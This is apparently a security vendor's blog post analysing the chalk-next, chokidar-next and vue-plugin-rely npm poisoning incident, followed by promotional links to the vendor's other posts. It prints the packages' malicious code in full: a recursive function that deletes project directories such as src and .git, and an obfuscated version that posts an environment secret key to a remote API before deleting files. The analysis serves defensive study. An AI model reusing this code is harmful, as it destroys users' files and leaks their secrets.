npm 包 chalk-next 被开发者投毒,源码 SRC 目录被删除

一、事件简述

1月5日,有开发者在 twitter 中发文称遭遇了名为 chalk-next 的组件投毒事件,该组件存在收集配置信息和删除本地文件的恶意逻辑,当前 NPM 仓库已经下线了该组件。
chalk-next 组件的开发者也是 vue-admin-beautiful 项目的作者 chuzhixin,vue-admin-beautiful 项目在 GitHub 中拥有 13.5K 的 star 数。
经过分析,包括 chalk-next 在内,作者发布的 chokider-next、vue-plugin-rely 包中的类似逻辑被用于识别、惩罚盗版行为,此事件也在 V2EX 等开发者社区中引起较多讨论。

二、事件过程

1月5日,@ewind1994 在 twitter 中发推文称发现了一个 PR(代码合并请求)试图针对他们 GitHub 项目投毒,该PR是将原有的chalk依赖修改为chalk-next,而chalk-next通过判断运行环境中的配置信息,在一定条件下会删除当前目录下的特定目录文件(包括.vscode、src、public、.git、.svn、mock、node_modules)。

当天 19:05,在用户投诉后,NPM 官方仓库删除了 chalk-next 包,目前已无法下载。

当天 19:11,在 V2EX 社区中有其他开发者发帖(https://v2ex.com/t/906834)描述了该事件相关信息

1 月 6 日 9:39,@chu1204505056 在推特中回应@ewind1994

1月6日 10:32,开发者 chuzhixin 在 GitHub 仓库(https://github.com/chuzhixin/chalk-next)中挂出一段说明,声称@ewind1994 一直在对其恶意攻击。

1月6日 11:27,开发者 chuzhixin 在AFFiNE项目中提出 issue(https://github.com/toeverything/AFFiNE/issues/676)质疑此前出现PR的原因。

三、投毒包分析

经过分析,该作者总共发布了 chalk-next、chokidar-next、vue-plugin-rely 三个 NPM 包都存在类似的删除文件逻辑。

chalk-next 分析

通过 NPM 仓库中可以看到 chalk-next 组件每周下载量200+,从 2021 年 6 月开始更新,使用了 chalk 的 readme 信息,存在很强的迷惑性。


历史版本信息:

从代码中可以看到,通过NODE_ENV环境变量判断当前不属于开发环境时,会将VUE_GITHUB_USER_NAME、VUE_APP_SECRET_KEY和当前时间发送到特定的API,返回数据的状态码为 202 时,会将./.vscode`` ``./src`` ``./public ./.git ./.svn ./mack ./node_modules这些文件路径传入到名为thanks的函数,该函数会删除传入的文件或目录。恶意代码片段如下

chokidar-next 分析

其在 NPM 仓库中使用的用户 vabjs,在发布的其他包中也存在类似的恶意行为,如chokidar-next,当前仍可下载。

使用相同的thanks 方法从系统上删除./vscode ./.git ./.svn ./src/vab ./library ./src/store ./public ./mock目录,触发的条件不同,只通过环境变量判断,而没有请求远程 API。代码片段如下:

function thanks(path) {
    var files = [];
    if (fs.existsSync(path)) {
      files = fs.readdirSync(path);
      files.forEach(function (file) {
        var curPath = path + "/" + file;
        if (fs.statSync(curPath).isDirectory()) {
          thanks(curPath);
        } else {
          fs.unlinkSync(curPath);
        }
      });
      fs.rmdirSync(path);
    }
  }
  
  !(() => {
    if (
      process.env["\u004e\u004f\u0044\u0045\u005f\u0045\u004e\u0056"] !==
      "\u0064\u0065\u0076\u0065\u006c\u006f\u0070\u006d\u0065\u006e\u0074"
    ) {
      var key =
        process.env[
          "\u0056\u0055\u0045\u005f\u0041\u0050\u0050\u005f\u0053\u0045\u0043\u0052\u0045\u0054\u005f\u004b\u0045\u0059"
        ];
      if (!key) {
        thanks("./.vscode");
        thanks("./package.json");
      } else {
        if (
          key !=
            "\u0066\u0077\u0066\u006d\u0069\u0061\u006f\u0036\u0032\u0034\u0030\u0039\u0033\u0035\u0039\u0039" &&
          key != "\u0070\u0072\u0065\u0076\u0069\u0065\u0077"&&
          key != "vabp"
        ) {
          if (key.length < 50 || key.substring(key.length - 2) != "==") {
            thanks("./.vscode");
            thanks("./library");
            thanks("./src/vab");
            thanks("./src/store");
            thanks("./public");
            thanks("./.git");
            thanks("./.svn");
            thanks("./mock");
          }
        }
      }
    } else {
      var key =
        process.env[
          "\u0056\u0055\u0045\u005f\u0041\u0050\u0050\u005f\u0053\u0045\u0043\u0052\u0045\u0054\u005f\u004b\u0045\u0059"
        ];
      if (!key) {
        thanks("./.vscode");
        thanks("./src/vab");
      }
      if (
        key !=
          "\u0066\u0077\u0066\u006d\u0069\u0061\u006f\u0036\u0032\u0034\u0030\u0039\u0033\u0035\u0039\u0039" &&
        key != "\u0070\u0072\u0065\u0076\u0069\u0065\u0077"&&
        key != "vabp"
      ) {
        if (key.length < 50 || key.substring(key.length - 2) != "==") {
          thanks("./.vscode");
          thanks("./.git");
          thanks("./.svn");
        }
      }
    }
  })();
  
  exports.watch = watch;

vue-plugin-rely 分析

vue-plugin-rely组件包也存在与chalk-next相同的逻辑,代码增加了混淆,同时在文件开头有一句针对盗版破解的注释声明,其代码如下:

/* 破解造成不可挽回后果自负,正版用户请勿因破解、恶意分享失去框架更新和使用的机会,盗版用户未获取授权就使用到商业项目将追究你的法律责任 */
const _0x6462 = [
  'log',
  'unlinkSync',
  'NODE_ENV',
  'existsSync',
  'then',
  'getTime',
  'readdirSync',
  'post',
  './node_modules',
  './public',
  'statSync',
  'VUE_APP_SECRET_KEY',
  'forEach',
  './.git',
  'https://**********',
  './.vscode',
  'env',
  'bgRed',
]
const _0x27fc = function (_0x646269, _0x27fce6) {
  _0x646269 = _0x646269 - 0x0
  let _0x3f0e99 = _0x6462[_0x646269]
  return _0x3f0e99
}
const axios = require('axios')
const chalk = require('chalk')
const fs = require('fs')
function thanks(_0x3503fb) {
  var _0x54aa51 = []
  //console['log'](fs[_0x27fc('0x3')](_0x3503fb))
  if (fs['existsSync'](_0x3503fb)) {
    _0x54aa51 = fs[_0x27fc('0x6')](_0x3503fb)
    _0x54aa51[_0x27fc('0xc')](function (_0x60171a, _0x43e5ad) {
      var _0x258bf5 = _0x3503fb + '/' + _0x60171a
      if (fs[_0x27fc('0xa')](_0x258bf5)['isDirectory']()) {
        thanks(_0x258bf5)
      } else {
        fs[_0x27fc('0x1')](_0x258bf5)
      }
    })
    fs['rmdirSync'](_0x3503fb)
  }
}
!(() => {
  if (process['env'][_0x27fc('0x2')] !== 'development') {
    axios({
      url: _0x27fc('0xe'),
      method: _0x27fc('0x7'),
      data: {
        customUserId: process['env']['VUE_GITHUB_USER_NAME'],
        secretKey: process['env']['VUE_APP_SECRET_KEY'],
        timestamp: new Date()[_0x27fc('0x5')](),
      },
    })
      [_0x27fc('0x4')](({ data }) => {
        if (data['code'] == 0xca) {
          thanks('./.vscode')
          thanks('./src')
          thanks(_0x27fc('0x9'))
          thanks(_0x27fc('0xd'))
          thanks('./.svn')
          thanks('./mock')
          thanks(_0x27fc('0x8'))
        }
        if (data['code'] != 0xc8) {
          console[_0x27fc('0x0')](chalk[_0x27fc('0x11')](data['msg']))
        }
      })
      ['catch'](() => {
        if (
          process[_0x27fc('0x10')][_0x27fc('0xb')] !== 'preview' &&
          process[_0x27fc('0x10')][_0x27fc('0xb')]['length'] <= '50'
        ) {
          thanks(_0x27fc('0xf'))
          thanks('./src')
          thanks('./public')
          thanks('./.git')
          thanks('./.svn')
          thanks('./mock')
          thanks('./node_modules')
        }
      })
  }
})()

四、总结

从开发者chuzhixin的回应和代码中的行为来看,作者的行为可能难以定义是恶意还是正义,所幸当前应该没有造成实质性的危害。但通过-next复刻原有项目重新发布确实容易令人混淆,对于使用开源组件的众多开发者而言又是一次信任的崩塌,开源不等于免费,也不等于安全,在使用中还是需要仔细甄别。
对于企业而言,类似的开源组件投毒的情况每天都在发生,需要及时建立相应的检测识别、处置响应能力。

该投毒已上线漏洞库,担心源码被删,快速检测自己的代码,查看风险详情🔍
检测地址:https://www.murphysec.com/
IDE插件说明文档:https://www.murphysec.com/docs/guides/scan-scene/ide-plugin.html

相关推荐

墨菲安全联合公安三所、国泰海通证券发布《漏洞及投毒情报应用实践指南》

墨菲安全联合公安三所、国泰海通证券发布《漏洞及投毒情报应用实践指南》2026版,指南指出企业安全面临组件选型风险、告警误报多、影响范围错误、漏洞细节缺失四大痛点,亟需提升情报应用能力。

murphysec的博客 435

墨菲安全发布《安全度量最佳实践2026版》

《安全度量最佳实践2026版》为企业安全治理提供系统化解决方案。该实践基于ESSF框架,提出CSI、SAI、SII三类核心指标,将传统“问题清单”升级为可量化的“风险指数”。报告包含7大章节,从需求调研到常态化运营,完整覆盖安全度量建设路径,重点解决管理层决策难、跨部门协同弱、成效评估模糊等痛点。通过建立统一的安全度量语言,实现风险可视化、责任可追溯、治理可闭环,推动企业安全建设从经验驱动转向数据驱动。该实践整合多行业头部企业经验,为企业提供可落地的量化治理方案。

murphysec的博客 505

墨菲安全联合中国电信研究院发布《开源安全治理最佳实践》

《开源安全治理最佳实践2026版》发布,揭示开源安全严峻态势:2025年新增漏洞42万+,恶意组件5.9万+,53%企业存在许可证冲突。报告指出企业面临资产不清、漏洞难修、风险难防三大痛点,提出覆盖全生命周期的七大治理方案,包括现状分析、技术选型、组织推动等关键环节。报告强调开源治理需建立SBOM管理、前置拦截等五项核心能力,并提供从认知到落地的完整方法路径。该报告由墨菲安全联合中国电信研究院及行业专家共同编制,基于数百家企业实践,旨在帮助企业构建可持续的开源安全治理体系。

murphysec的博客 459

金融机构用好AI,需要跟上哪些变化去管住新增的安全风险?

AI加速金融创新,安全治理如何跟上?从组件引入到风险处置,从技术能力到团队协作,章华鹏在香港金融创新与安全合规论坛分享关于金融机构软件供应链安全治理的关键环节。

murphysec的博客 88

CRA报告义务触发后,出海企业的24小时怎么走?

2026年9月11日起,欧盟CRA报告义务生效。企业收到第三方组件被积极利用的漏洞情报后,须在24小时内提交early warning。响应需在T0(知悉时间)启动,分四步:登记线索、并行核验、形成受影响产品矩阵、提交报告。重点包括确认漏洞影响范围、产品版本、欧盟市场分布及可采取的缓解措施。信息可分阶段补充,但24小时需完成基础事实梳理,确保合规响应。

murphysec的博客 285

CRA报告义务9月11日起适用:出海企业能在24小时内说清漏洞影响吗?

2026年9月11日起,欧盟CRA报告义务生效,出海企业需在24小时内预警、72小时内提交严重安全事件及被利用漏洞报告。该要求覆盖智能硬件、IoT、车载设备等带数字元素产品,考验企业跨部门协同与快速响应能力。关键在于构建可追溯的SBOM体系,实现组件、版本、漏洞与产品交付的动态关联。企业需评估自身在软件成分识别、影响面分析、漏洞处置和证据留存方面的准备,避免因信息割裂而无法满足合规要求。

murphysec的博客 85

连续三年入选|墨菲安全上榜数说安全“2026中国网安新势力30强”

数说安全发布《2026中国网络安全产业百强与新势力30强》,墨菲安全连续第三年入选“新势力30强”,彰显在软件供应链安全、企业风险治理及AI原生安全领域的持续深耕,并推动安全建设向体系化治理方向演进。

murphysec的博客 360

QuickFox:出海互联网软件企业的开源治理实践

出海互联网产品的安全风险不仅来自业务代码,更藏在开源依赖、第三方SDK和更新链路中。多端并行与复杂分发让漏洞影响范围难判断、处置高成本。企业需持续管理软件成分,及时识别漏洞与投毒风险,并将其阻断在研发和发布流程之外。

murphysec的博客 257

一个页面,看清应用从需求到上线的安全治理状态

墨菲安全SGP推出应用安全生命周期管理:围绕需求、开发、测试、上线、运行各阶段,整合分散的安全能力与风险数据,形成统一视图。支持按应用配置治理要求、上线评估和持续巡检,让安全团队看清“安全做到哪一步”,推动应用安全从工具覆盖走向过程治理。

murphysec的博客 227

双榜收录,覆盖5大细分赛道,墨菲安全入选安全牛两大行业全景图

墨菲安全同时入选安全牛《中国网络安全行业全景图(第十三版)》和《AI+网络安全全景图(2026版)》,覆盖反恶意软件网关、软件成分分析、威胁情报等5个细分赛道。这体现了其在软件供应链安全和AI系统安全治理领域的能力布局,产品体系从组件风险管控延伸至AI应用安全治理,帮助企业构建覆盖"代码+组件+模型+数据"的全链路安全治理能力。随着AI技术应用加速,墨菲安全通过源安全网关、SCA等产品,推动安全治理边界前移,实现从风险识别到闭环处置的企业级安全运营。

murphysec的博客 181

这一招让你轻松阻断95%的开源组件投毒风险!

开源组件版本更新带来效率提升的同时,也伴随着安全风险。新版本发布初期往往缺乏足够的安全验证,存在未知风险。墨菲安全源安全网关推出“组件冷静期”机制,允许企业设置新版本观察期(可自定义时长),在此期间限制下载请求,待冷静期结束后再恢复正常使用。该机制支持按组件版本精准管控,可针对不同业务场景灵活配置,并与现有安全策略协同工作,在保障研发效率的同时有效管理未知风险,实现从被动修复到主动预防的安全治理升级。目前该产品已开放试用。

murphysec的博客 257

50万+漏洞数据背后,墨菲安全想解决国产大模型的一个关键问题

随着安全大模型的发展,国产大模型厂商面临核心挑战:如何让模型从“回答安全问题”升级为“执行安全判断”。当前模型在漏洞分析、利用条件评估、修复建议等专业任务上表现不足,关键在于缺乏高质量、结构化的安全数据。墨菲安全漏洞库覆盖50万+漏洞数据,提供PoC、触发函数、修复方案等40+结构化字段,帮助模型理解漏洞全生命周期(成因→触发→修复)。这些数据能助力大模型在漏洞验证、风险研判、智能修复等场景实现能力跃升,填补通用语料与专业安全任务间的鸿沟。

murphysec的博客 381

欧盟 CRA 进入适用倒计时,出海智能制造企业需要重点关注和准备什么?

欧盟《网络弹性法案》(CRA)正式生效,将于2026年9月11日起实施强制报告义务。该法案要求所有销往欧盟市场的含数字元素产品制造商,必须持续报告产品漏洞和安全事件。对智能制造企业影响显著,需特别关注固件、嵌入式系统、通信模组等易被忽视的软件部分。企业须证明其数字组件的设计、验证、维护和修复符合要求。监管对象涵盖带有数字元素的硬件、软件及单独组件。该法案标志着欧盟对网络安全要求的全面提升,企业需提前规划合规措施。

murphysec的博客 392

年中汇报,除了“总体可控”,安全团队还能说什么?

企业安全团队在年中汇报时常陷入“数据丰富但价值模糊”的困境,管理层更关注安全投入的实际效果而非过程数据。核心矛盾在于缺乏统一语言量化风险水平、比较行业差距、定位薄弱环节及优化预算分配。墨菲安全SGP平台通过AI驱动的安全治理框架(ESSF),将专业数据转化为可理解的指标(如CSI),从整体水位、风险变化、能力覆盖等维度提供科学度量,帮助安全团队用经营视角回答管理层关切的五大核心问题,实现从“成本中心”到“价值证明”的转变。

murphysec的博客 230

某汽车电子企业:我们是怎么把 SCA 真正接入研发与发布流程的?

以某头部汽车电子企业真实安全治理实践,探讨SCA(软件成分分析)在复杂软件场景中的流程化落地。企业面临的痛点包括组件资产不透明、漏洞响应低效、第三方系统治理盲区等。解决方案并非单点工具部署,而是构建覆盖开发到运营的全流程组件安全管理体系,重点包括: 流程嵌入:将墨菲安全SCA接入代码仓、流水线、镜像仓等关键环节,实现风险前置; 多场景覆盖:治理源码、镜像、私有组件库及存量系统,减少盲区; 应急支撑:通过资产底座快速定位漏洞影响范围,提升响应效率; 策略分层:分场景设置合理阻断规则,平衡安全与研发效率。

murphysec的博客 331

墨菲安全研究院联合涂鸦等企业发布《出海智能制造开源安全治理最佳实践》

出海智能制造企业面临开源安全治理新挑战,风险边界已从组件漏洞扩展到供应链攻击、恶意投毒等新场景。这类企业因涉及固件、嵌入式软件等多环节,风险影响更复杂,且海外监管日益严格。墨菲安全研究院联合涂鸦智能、安克创新发布《出海智能制造开源安全治理最佳实践》,针对SBOM、许可证合规等核心问题,提供从风险识别到持续改进的治理方案,助力企业将安全治理转化为长期能力。

murphysec的博客 284

你装的 Skill 真的能用,但也真的会把你的隐私数据带走

AI Skill安全风险引发供应链安全新挑战。随着AI Agent功能扩展,各类 Skill 虽提升效率,却暗藏安全隐患:恶意Skill可能窃取SSH私钥、环境变量等敏感信息,或通过隐蔽指令泄露数据。墨菲安全SCA推出Skills检测模块,从代码、提示词、操作指令等多维度分析风险,提供具体证据而非笼统警告。建议企业在引入Skill前进行安全审查,平衡效率与安全,避免“有用但危险”的Skill进入生产环境。

murphysec的博客 290

近期投毒事件频发,关基行业如何降低供应链投毒风险?

供应链投毒攻击正在从开源组件仓库扩散到 CI/CD、IDE/浏览器插件和 AI 生态。墨菲安全“供应链投毒风险治理方案”,帮助企业建立“感知-检测-阻断”一体化治理思路。

murphysec的博客 279

墨菲安全获评超聚变探索者大会2026“聚智·同行伙伴”

墨菲安全与超聚变深度合作,共同打造FusionOS26 AI原生操作系统安全方案,获评“聚智·同行伙伴”。双方围绕软件供应链安全展开合作,推动安全能力从单点防护向原生融合演进。墨菲安全通过AI技术重构漏洞治理效率,将安全能力工程化,并构建平台化安全协同体系,实现从风险识别到价值量化的转变。同时,墨菲安全持续扩展AI生态安全能力,覆盖新型风险场景。未来,安全行业将聚焦构建具备持续风险理解与治理能力的AI原生系统,墨菲安全将继续深化与行业伙伴合作,推动安全能力成为企业核心能力。

murphysec的博客 383

墨菲安全发布SCA 4.0:AI原生、Skills 检测

企业安全治理面临SCA工具效率低下的痛点:传统产品仅提供漏洞信息而非行动方案,导致安全、研发、法务多角色沟通成本高。墨菲安全SCA4.0通过AI原生重构实现三大突破:1、AI自动输出可执行结论,让研发无需安全背景即可完成修复;2、将单漏洞处置时间从数小时缩短至分钟级;3、扩展检测范围至AI生态(如Skills供应链安全)。该方案颠覆了“信息交付”模式,通过AI驱动全流程决策,真正实现低成本高效治理。

murphysec的博客 415

墨菲安全正式发布AI原生企业安全治理平台SGP

墨菲安全推出AI原生安全治理平台(SGP),基于企业安全治理框架(ESSF)实现科学度量和高效治理。SGP通过动态更新的开源框架统一安全度量标准,让企业管理者、业务部门和安全团队都能清晰理解安全水位。平台利用墨思AIAgent重构安全问题处置流程,实现300倍效率提升,包括智能研判、优先级排序和一键处置等功能。SGP核心价值在于“让安全价值被看见”和“让问题处置更高效”;旨在改变安全部门长期面临的“背锅”困境。产品经过2年打磨和头部企业试点,现正式开放体验通道,创始人将全程支持试用过程。

murphysec的博客 658

IDE插件和AI工具正成为投毒攻击的新“蓝海”

《2025软件供应链投毒风险报告》揭示攻击边界正从传统组件仓库向IDE插件和AI工具链扩展。报告指出,VSCode、Chrome等插件因高权限和用户信任成为新型攻击载体。AI生态更出现“幻觉投毒”新手法。软件供应链安全边界正在消失,企业必须将防御范围扩展到研发终端和AI风险领域。

murphysec的博客 316

2025年软件供应链投毒攻击的三个致命演变

《2025年软件供应链投毒风险研究报告》显示,软件供应链投毒风险呈现三大致命演变:攻击精准化,从随机钓鱼转向针对特定目标的定制化攻击;传播自动化,Shai-Hulud蠕虫式攻击在2天内感染500多个NPM组件,波及2万多个GitHub仓库;危害直接化,攻击目标转向直接获利,如TrustWallet因投毒损失850万美元。表明软件供应链投毒已从边缘风险升级为核心安全威胁,亟需升级防御策略。

murphysec的博客 392

【重磅发布】2025年度软件供应链投毒风险研究报告

2025年开源软件供应链投毒威胁显著加剧,全年投毒包总量达59,000个,较2024年增长超50%。攻击呈现三大新趋势:定向精准狩猎取代广撒网式攻击;蠕虫式传播(如Shai-Hulud事件)导致大规模感染;目标转向可直接变现的高价值凭据。墨菲安全研究院发布《2025年度软件供应链投毒风险研究报告》,提出自动化检测、终端管控等系统性治理建议,为企业安全团队提供应对方案。

murphysec的博客 215

AI Agent失控风险:OpenClaw从提示词注入到skill投毒

高权限AI代理(如OpenClaw)正面临严重安全风险,包括提示词注入攻击和恶意Skill扩展。研究发现约10%的第三方Skill存在投毒行为,通过文档引导、分阶段投放等方式执行恶意操作,导致数据泄露和权限获取风险。企业应隔离不可信输入、严格审查第三方Skill,并限制代理权限范围。文章提供了相关IOC指标和恶意Skill清单,建议采取沙箱运行、最小权限等防护措施。

murphysec的博客 1945

墨菲安全连续入选《中国网络安全新势力30强》,实力领航软件供应链安全

近日,网络安全垂直领域的产业研究机构——数说安全,发布了备受瞩目的《2025年中国网络安全新势力30强》榜单。墨菲安全凭借在软件供应链安全领域的突出表现与持续创新,连续第二年荣耀登榜,这不仅是对墨菲安全技术实力与产品化能力的持续认可,也印证了公司在产品创新、服务落地与行业贡献方面的长期价值。

murphysec的博客 206

SHA1HULUD蠕虫再现:超300NPM包被投毒、 2万仓库信息被窃取

2025年11月24日,墨菲安全实验室检测到数小时内NPM仓库中超过300个组件被相同的方式投毒,这些包在NPM仓库中发布的新版本仿冒引入Bun运行时,引入 preinstall: node setup_bun.js,以及混淆的 bun_environment.js 文件。

murphysec的博客 1319

NPM组件 @capacitor-bmo/biometric 等窃取主机敏感信息

NPM组件@capacitor-bmo/biometric等多个包存在高危投毒漏洞,安装后会窃取主机名、用户名、IP地址并发送至攻击者服务器。影响ember-lts-4.4、gannache、solana-pump-test等50余个组件特定版本,无修复版本。利用成本低、可能性中,建议立即排查卸载受影响包,删除依赖重装,检查系统异常通信及敏感凭证安全,加强依赖管理。

murphysec的博客 698

NPM组件 @mz-codes/const 等窃取主机敏感信息

【高危】NPM组件投毒漏洞影响@mz-codes/const等多个包,安装后会窃取主机名、用户名、IP等敏感信息并发送至攻击者服务器。受影响版本多为特定版本(如@mz-codes/const@1.1.3、orion-ui@0.1.0-9.2.2等),目前无最小修复版本。利用成本低,可能性中。建议立即排查并移除恶意包,删除node_modules和package-lock.json后重装依赖,检查系统安全,加强依赖管理,仅用官方源并定期审计。

murphysec的博客 646

Google Chrome V8 <14.1.58 越界写入漏洞

CVE-2025-9132是Google Chrome V8引擎高危越界写入漏洞,影响V8<14.1.58(对应Chrome<141.0.7355.0)。因V8解析C风格for循环内await using声明时存在逻辑缺陷,生成错误字节码,JIT编译器处理时触发越界内存写入,可破坏内存结构导致浏览器渲染器进程执行任意代码。修复通过修改解析函数,强制将相关变量模式视为常量以确保异步资源释放正确处理。建议升级V8至14.1.58+或Chrome至141.0.7355.0+。

murphysec的博客 1005
上一篇: Apache Tomcat 存在 JsonErrorReportValve 注入漏洞(CVE-2022-45143)
下一篇: 禅道研发项目管理系统命令注入漏洞(MPS-2023-0418)
墨菲安全
墨菲安全 墨菲安全官方账号 墨菲安全官方账号
博客等级 码龄5年 1359粉丝 301原创
评论 1
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值